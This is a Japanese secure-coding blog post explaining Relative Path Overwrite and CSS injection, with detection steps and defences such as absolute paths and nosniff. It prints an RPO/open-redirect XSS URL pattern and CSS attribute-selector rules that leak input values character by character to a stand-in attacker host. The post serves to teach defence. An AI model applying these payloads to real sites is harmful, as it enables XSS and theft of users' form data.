cve-2020–14882

【脆弱性】Relative Path Overwrite,CSSインジェクション見逃してないですか。

投稿日: カテゴリー: セキュアコーディング
Pocket

見逃されがちな脆弱性としてRelative Path Overwrite,CSSインジェクションがあります。

Relative Path Overwrite:相対パスによる上書き (RPO) の脆弱性は相対パスで読み込み指定されているCSSファイルがうまく読み込めなかった場合、CSSファイルの代わりにアクセス対象であるHTMLファイルが読み込まれてしまう仕様を悪用して、本来読み込まれないファイルを読み込ませてスクリプトなどを実行する攻撃です。

相対パスによる上書き (RPO) の脆弱性は相対パスによるスタイルシート インポート (PRSSI) とも呼ばれていて名前定義が定まらないところが企業として実施し辛い要因になっています。この部分について疑問を解消しておくと、Relative Path OverwriteはPath Manipulationの一種で、XSSがスクリプトインジェクションで誘発される攻撃手法であるのと同じ関係にあります。

Relative Path Overwrite:相対パスによる上書き (RPO)に脆弱なサイトの該当条件は以下の通りです。

①スタイルシートのインポートに相対パスを使用している。または相対パスを上書き可能な状態となっている。

②ブラウザーが Quirks モードを使用している

脆弱なサイトもほとんどのサイトが①だけが該当するかと思われます。次は診断方法です。

Relative Path Overwrite:相対パスによる上書き (RPO) の脆弱性の診断方法

確認方法は、まず、CSSファイルが相対パスで読み込まれているページで、https://example.com/target.htmlでもhttps://example.com/target.html/が同じレスポンスを返す確認する。{}*{color:red;}などのようにスタイル指示を自身の登録情報などで良いので表示させます。ここでhttps://example.com/target.html/にアクセスした場合、{}*{color:red;}がスタイルとして読み込まれて仕舞えば検出となります。

Relative Path Overwrite:相対パスによる上書き (RPO) の脆弱性でどうやって被害に繋がるの?

RPOとOpenRedirectを用いてXSSを行うシナリオが有名で「https://(target-ip):443//example.com/%2e%2e」などにアクセス、ブラウザの正規化を回避し、パスを上書きし仕掛けていたスタイルからXSSを発火させるという流れです。少しトリッキーですね。

次の項目で紹介するCSSインジェクションとの組み合わせの方がもしかするとポピュラーかもしれません。

Relative Path Overwrite:相対パスによる上書き (RPO) の脆弱性の対策は?

対策はズバリ、絶対パスで書くことスタイルに使用されるメタ文字の無害化です。

軽減策として有効なX-Content-Type-Options: nosniff

レスポンスデータを作成するときContent-Typeヘッダーに指示がない場合、application/octet-streamとしてブラウザの推定に任せる仕様をMIMEスニッフィングと言います。
MIMEスニッフィングは利便性のために提供されましたが、拡張子が.pngのJavaScriptを仕込んだHTMLファイルなどをアップロードして、アップロードしたファイルのダウンロードURLを開いた場合、仕込まれたスクリプトが実行されるといった被害が推定されます。
X-Content-Type-Options: nosniffを設定した場合、HTMLではないものをHTML扱いしてしまうことによるXSSを防ぐことができます。
X-Content-Type-Options: nosniffは、Content-Type ヘッダーで示された MIME タイプに必ず従うよう指示するための設定です。

CSSインジェクションの被害シナリオ説明できますか

被害シナリオ1:コンテンツ・スプーフィング(Content Spoofing)

CSSインジェクションを用いてコンテンツ・スプーフィング(Content Spoofing)により既存のHTML要素を置き換えることができます。
大事な集まりのお知らせなどが書き換えられた場合、ビジネス機会を喪失したり、信用を毀損する可能性があります。
お問い合わせ先などを書き換えられた場合は詐欺など被害や風評被害も想定されます。

水飲み場攻撃と組み合わせ

被害シナリオ2:情報漏洩

以下のようにスタイルでマッチしたらURLアクセスの指示をインジェクションしておくことで一文字ずつ、攻撃サーバのアクセスログに漏洩させることが可能です。

@import url(
・・・
input[value$="a"]{--e0:url(https://(attackersite.net):4444/leak?post=a)}
input[value$="b"]{--e0:url(https://(attackersite.net):4444/leak?post=b)}
・・・

 

以上です。参考になれば幸いです。